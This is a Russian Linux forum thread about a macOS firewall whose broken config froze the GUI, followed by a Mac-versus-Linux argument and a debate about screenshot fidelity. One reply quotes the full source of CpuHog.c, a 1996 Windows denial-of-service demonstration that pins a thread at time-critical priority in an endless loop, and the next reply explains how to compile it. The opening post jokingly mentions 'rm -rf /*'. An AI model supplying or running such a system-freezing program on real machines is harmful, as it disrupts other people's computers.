LINUX.ORG.RU
ФорумTalks

Фаервол против гуя

 , ,


1

3

Расскажу-ка вам историю из загробного мира :-)

Мак – отличная штука. Живой работающий пример всего того, что, согласно фольклору линуксоидов, либо не существует, либо нормально работать не может. Однако же вот он, живой, работает – а мы в линуксе все еще двачуем капчу на последний коммит в репе systemd, обсуждаем какие-то психически неуравновешенные темы вроде «predictable names» для сетевых интерфейсов, итп.

Но иногда здесь случаются абсолютно невероятные вещи. Например, фаервол, привязанный к гую.

Сегодня логинюсь на макмини (оживленный дабы кодить в гостиной на большом экране телевизора)... И сразу после логина его интерфейс виснет. Висит трей, висит док, висят скайпы и джаберы. Программы запускаются, но очень мало какие.

Перезагружаюсь – снова виснет. Тогда начинаю долбить killall -KILL SystemUIServer («перегрузить всю графику нафиг»), и несколько секунд после этого система работает, потом снова виснет.

В ходе перезагрузок была выяснена интересная особенность. Когда система «висит», также не работает http и пинги на яндекс. Иногда проходят, но в 99% случаев интернета нет. Сразу после -KILL SystemUIServer пару секунд в Сафари-Хромиуме грузится гуголь и начинают ходить пинги на яндекс, но потом соединение снова пропадает.

Следующий вывод не укладывался в мою картину мира, поэтому делал его минут 10 точно.

Во всем оказался виноват фаервол. Вот этот: http://ompldr.org/vaTBxYQ/2013-04-07 10.26.09 pm.png

Казалось бы, как может быть фаервол быть связан с графическим сервером? Это же совсем-совсем разные сущности?

У него слетел конфиг, и как-то криво стал загружаться его демон.

А с криво запущенным демоном –

1) криво работает его гуй. А гуй встраивается в трей, и убивает его загрузку. Причем забавно, он убивает только те программы, что пытаются попасть в трей после него, а вот своя собственная иконка в трее у него работает ОК. Убитый трей не позволяет стартануть программам, которые при старте пытаются с ним что-то сделать (т.е., почти всем программам).

2) криво работают правила фильтрации, которые решили «заблокировать почти все». Замечатльный фаервол блокирует не только сетевые соединения (прощай скайп и адиум), но и доступ на чтение-запись файлов (прощай все остальные программы). Ну слава б-гу, хоть zshell-у возможность читать конфиг не заблокировал, и он не завис как все остальные скайпы – так появилась возможность открыть терминал.

После этого я попытался удалить фаервол стандартным способом (удалить его директорию из /Applications), но это оказалось невозможно, т.к. файлы заблокированы, и очень быстро переблокируются заново.

Тогда я попытался убить фаервол из списка процессов, но у него оказалось там дофига (как минимум два) разных процесса, которые перезапускают друг друга. Убил демона - его поднял агент, убил агента - его поднял демон. Дело Робина Гуда и Монаха Тука живет :-) Можно было бы проверить, как выдаются пиды на новые процессы (по порядку, наверное), и написать какой-то скрипт для убивания пачкой, но это показалось слишком геморно при наличии других вариантов. Плюс, а что если это не процессы друг друга оживляют, а просто стоит какой-то системный хук (в маке такое вообще возможно - поставить хук на отсутсвие признака?)

Пошел перегружаться в безопасном режиме, но, ВНЕЗАПНО, мак отказался грузиться в нем. Сразу после проверки диска – ноль реакции в течение часа. Т.к. «безопасный режим» не реагирует на шифт и флаг ядра -v (выставленный через sudo nvram boot-args="-v"), даже узнать что там творится нельзя. Переключалок в виртуальные консоли, по F-кам, как в линуксах, там нету. Вообще, невозможность загрузиться в безопасном режиме – это палево какое-то, опасно на таком компе что-то делать. Поэтому в тред кастуется специалисты по всему – можете посоветовать, что тут можно сделать, без использования радикальных мер? Хотелось бы глянуть хотя бы на лог ведра.

Ну в общем, я уже был готов применять радикальные методы, как-то разборка корпуса, вытаскивание жесткого диска, втыкание его в линукс и rm -rf /*, но тут обнаружил, что фаервол можно удалить из его же главного меню. Прямо в юзерском режиме, выбрав пункт uninstall. И потом с двумя перезагрузками можно накатить более новую его версию, которая более хорошо совместима с последними обновлениями макоси.

Вот такая вот история.

Источник: http://users.livejournal.com/__hedin/503131.html
Скрин того самого гуя: http://ompldr.org/vaTBxYQ/2013-04-07 10.26.09 pm.png

★★★★☆

Последнее исправление: stevejobs (всего исправлений: 2)

Ответ на: комментарий от xtraeft

Есть же исходный код

// CpuHog.c
//
// Copyright (C) 1996 Mark Russinovich
//
// How vulnerable is NT? Here is a 5 line program, runnable from a
// guest account, that instantly cripples an NT system. Once started, no
// other program will run, and there is no way to stop it. No, not even 
// task manager can get a shot at the CPU after CpuHog is off and running!
//
//============================================================================
#include <windows.h>


//---------------------------------------------------------
//
// main
//
// Set thread to highest priority allowed for programs
// that run without administrative privilege and just sit
// in a loop.
//
//---------------------------------------------------------
int WINAPI WinMain(	HINSTANCE hInstance, 
				   HINSTANCE hPrevInstance,	
				   LPSTR lpCmdLine,
				   int nCmdShow )
{
	MessageBox( NULL, "CpuHog V1.0\n\nCopyright (C) 1996 Mark Russinovich\n"
					"http://www.ntinternals.com", "CpuHog", MB_OK );
	SetThreadPriority( GetCurrentThread(),
			THREAD_PRIORITY_TIME_CRITICAL );
	while(1);

	// never get here
	return 0;
}

Programmist11180 ★★★
()
Ответ на: комментарий от Programmist11180

Несколько таких программ подвесят любую систему. Linux в том числе.

tailgunner ★★★★★
()
Ответ на: комментарий от xtraeft

Любым компилятором. MinGW например. Если не хочется заморачиваться с установкой MinGW можно сдклать по другому - установить Dev-Cpp (MinGW идёт в комплекте), открыть им файл и нажать кнопку 'собрать'.

Programmist11180 ★★★
()

Живой работающий пример всего того, что, согласно фольклору линуксоидов, либо не существует, либо нормально работать не может. Однако же вот он, живой, работает – а мы в линуксе все еще двачуем капчу на последний коммит в репе systemd, обсуждаем какие-то психически неуравновешенные темы вроде «predictable names» для сетевых интерфейсов, итп.

Мак живой работающий пример того, что «работает» там все не потому что мак-systemd и «predictable names», а потому что жестоко сношают прикладных софтописателей. И как только что-то через этот занавес беспощадной боли прорывается - макоси настает песец. При чем такая политика у маков была всегда - именно по этому до десятки там был один большой dos+win3.2 слизанный Биллом, и никого такой фейспалм не волновал кроме Жопса.

То есть «мы», инженеры, очень правильно обсуждаем темы «predictable names». Потому что хотим сделать как лучше, а не как с кучей багов и криво, но замаскировано прикладниками.

А вот вы, хомячки, должны перестать обсуждать все «все эти неуравновешенные темы» - так как ваша задача не обсуждать, а потреблять и платить бабло. Ты, Стиви - хомячок. Перестань уже делать вид что ты что-то понимаешь в том что пишешь - и иди потреблять, к девушке(мальчику), жене, детям. Сэкономишь и нам и себе кучу времени.

kernel ★★☆
()
Ответ на: комментарий от baka-kun

На Маке скриншот может отличаться от картинки на экране монитора. Хотя бы потому, что пользователь всегда видит результат работы композитного менеджера, который формируется при аппаратной поддержке видеокарты, а скриншот может быть из фрейм-буффера приложения.

Тогда это еще один камень в сторону маков, так как во всех нормальных системах скриншот в точности соответствует картинке на мониторе, в т. ч. с результатом работы композитного менеджера.

Kroz ★★★★★
()
Ответ на: комментарий от AX

И правда... Сначала думал, что раз звук пропал, то пульса убилась.

templarrr ★★★★★
()
Ответ на: комментарий от Kroz

Тогда это еще один камень в сторону маков

Наоборот, это сильный плюс маков: снимая скриншот окна я получу его в png с альфа-каналом вместе с тенью и прочими закругленными уголками, но без фона десктопа и всех окошек под и над ним. Ферштеен?

baka-kun ★★★★★
()
Ответ на: комментарий от Kroz

так как во всех нормальных системах скриншот в точности соответствует картинке на мониторе

Бред. Хотя бы вспомнить про порядок субпикселов на разных мониторах, что дает две одинаковые (относительно) картинки для глаза, и два разных скриншота.

urandom
()
Ответ на: комментарий от baka-kun

вместе с тенью и прочими закругленными уголками

Ты не поверишь, но это и есть, цитирую «результат работы композитного менеджера, который формируется при аппаратной поддержке видеокарты». Т. е. такой скриншот будет отображаться везде одинаково, ну, с поправкой на особенности монитора.

Kroz ★★★★★
()
Ответ на: комментарий от urandom

Хотя бы вспомнить про порядок субпикселов на разных мониторах, что дает две одинаковые (относительно) картинки для глаза, и два разных скриншота.

Ты про что? Человек задал вопрос: качество скриншота зависит от качества монитора? Ответ - нет. Да ,это предполагает одинаковые настройки «порядок субпикселей» и DPI, но это не «качество» монитора. Скриншот берется не из монитора, а из видеокарты.

Kroz ★★★★★
()
Ответ на: комментарий от Kroz

Ты не поверишь…

Естественно, я не верю. Ты увидел знакомые слова, но не понял, о чем речь. Тени и углы — не результат работы WindowServer, о котором я говорил. Это в Линукс такой вау-эффект компиза со товарищи, в OS X же обыденность, стандартный элемент любого окна.

  1. Пользователь видит на экране картинку http://img5.imageshack.us/img5/7205/picture1ge.png и хочет сделать скриншот окна Preferences, которое процентов на 90 скрыто браузером, сверху которого Keyboard Viewer. А под нужным окном у нас Finder и рабочий стол с цветастой картинкой.
  2. Изображение на экране формирует композитный менеджер в памяти видеокарты, и нам ничего не стоит сделать скриншот: нажимаем последовательность клавиш, кликаем в видимую часть нашего окна, и вуаля: http://img19.imageshack.us/img19/7021/picture2gj.png
  3. Получен скриншот, отличающийся от картинки на экране как небо и земля. Во время всего процесса мы ни разу не видели окна целиком, не передавали ему фокус, и тем более ничего не закрывали.

Мы сделали скриншот того, чего пользователь никогда не увидит на экране.

baka-kun ★★★★★
()
Ответ на: комментарий от baka-kun

Ахрененный фокус, тем более что а) обычно это так и работает б) абсолютно не относится к теме разговора.

Kroz ★★★★★
()
Ответ на: комментарий от Kroz

обычно это так и работает

Сделай, пожалуйста, скриншот неактивного окна, частично перекрытого другими.

абсолютно не относится к теме разговора

Ну почему же? Этот скриншот будет отображаться по-разному, в зависимости от фона, который подложит смотрящий. Там альфаканал. :)

Ну и, собственно, твой тезис был, «во всех системах скриншот в точности соответствует картинке на мониторе». Я тебе показал, когда это не так. Более того, на скриншоте есть то, чего никогда не может быть у картинки на экране монитора.

baka-kun ★★★★★
()
Ответ на: комментарий от baka-kun

Сделай, пожалуйста, скриншот неактивного окна, частично перекрытого другими.

Исходная позиция: http://imageshack.us/photo/my-images/12/lor1.png/ Как можно догадаться, в серое окошко ты никак не переключишься, пока не закроешь «переднее»
Снимок: http://imageshack.us/photo/my-images/546/lor2.png/
Как это делалось: http://imageshack.us/photo/my-images/94/lor3.png/
Стандартная тулза KDE, которая вызывается по кнопке PrtSc .

Ну почему же? Этот скриншот будет отображаться по-разному, в зависимости от фона, который подложит смотрящий.

Причем здесь фон?
Что на самом деле спрашивал товарищ:

Качество скриншота как-нибудь зависит от качества девайса, который в данный момент показывает картинку?

Иными словами: качество скриншота зависит от монитора, с которого он «фотографируется»? Твой вариант ответа (с обоснованиями)?

Kroz ★★★★★
()
Последнее исправление: Kroz (всего исправлений: 2)
Ответ на: комментарий от Kroz

Мне почему-то черезвычайно кажется, что дисплейный сервер рисует картинку, основываясь на EDID конкретного монитора, чтобы именно под этот монитор нарисовать ее как можно красивее. Также, помойму, в EDID может быть достаточно данных, чтобы нарисовать под них серьезно другую картинку. Как минимум, можно задетектить разницу между реитной и телеком с фиговым экраном и что-то предпринять по этому поводу, например на телеке сделать удвоенное сглаживание.

stevejobs ★★★★☆
() автор топика
Ответ на: комментарий от stevejobs

Мне почему-то черезвычайно кажется, что дисплейный сервер рисует картинку, основываясь на EDID конкретного монитора, чтобы именно под этот монитор нарисовать ее как можно красивее.

Тогда нужно конкретизировать.

Два параметра мы тут уже нашли: это DPI (сюда же ретина/не-ретина) и порядок субпикселей (RGB, BGR и т. п.). Но тогда сюда уже просится и кернинг, шрифт с его размерами и т. п. Тогда мы совсем запутаемся что понимать под качеством.

Я бы все-таки отделял монитор от всего остального (а все остальное - это алгоритмы, включая те, что на видеокарте). То есть это то, что можно запечатлеть на скриншоте, ибо фоторафиями монитора в Интернете не обмениваются.

Тогда нужно говорить о качестве картинки для просмотра на:
а) таком-то виде монитора (CRT/LCD, ибо на CRT пиксели визуально немного смазываются между собой)
б) для такого-то DPI (для другого просто картинка будет слишком большая или наоборот, слишком маленькая, ну, и «сила» сглаживания будет не применима)
в) для такого-то порядка субпикселей (при условии включенного субпиксельного сглаживания).
Под эти параметры монитора нужно крутить настройки шрифтов.

В остальном качество определяется субъективно, в сравнении, конкретно юзером (или аудиторией, если выставлено на всеобщее обозрение), и по-большому счету не зависит от монитора (ибо познается в сравнении на том же мониторе). И крутится это качество выбором шрифтов, их параметров (размер, кернинг т. п.) и настройками алгоритмов рендеринга.

ИМХО.

Kroz ★★★★★
()
Ответ на: комментарий от Kroz

т.к. в конечном счете, тут же смотрят «ШГ или не ШГ». Так может, то, что на телеке выглядит ОК (для телека) везде в остальных местах выглядит как ШГ. Причем, у человека, который кричит ШГ, точно та же машина выдавала бы не-ШГ, если бы знала, под какой девайс ей рендерить картинку. То есть, нотариально заверенные скрины не подходят для определения ШГ вообще.

stevejobs ★★★★☆
() автор топика
Ответ на: комментарий от Kroz

Стандартная тулза KDE, которая вызывается по кнопке PrtSc

Я очень рад, что наконец-то скопировали идею, у меня KDE годичной давности делает http://img822.imageshack.us/img822/2599/recent2.png (там правда ещё фокус за мышью бегает). То есть, что на экране, то и в файле.

Причем здесь фон?
Что на самом деле спрашивал товарищ:

Но я-то отвечал не товарищу, а тебе на «скриншот в точности соответствует картинке на мониторе», что в случае как минимум OS X и частично свежего KDE не так.

Товарищу на «Качество скриншота как-нибудь зависит от качества девайса, который в данный момент показывает картинку?» естественный ответ — ДА! Графическая подсистема прекрасно знает, куда рендерит изображение, и использует соответствующие алгоритмы.

Более того, Quartz представляет экран как PDF документ (в NeXT это вообще был Display PostScript), и соответственно его отображает на разные устройства вывода. И когда ты говоришь: «покажи на LCD дисплей», «… на CRT экран», «сохрани в файл с таким-то dpi» или «напечатай на вон том принтере», OS X может сделать четыре попиксельно неидентичных, но максимально похожих внешне изображения.

baka-kun ★★★★★
()

Классический выстрел в ногу, ТС ты эталон ССЗБ на ЛОРе. надеюсь тебя в lorquotes внесут.

MikeDM ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.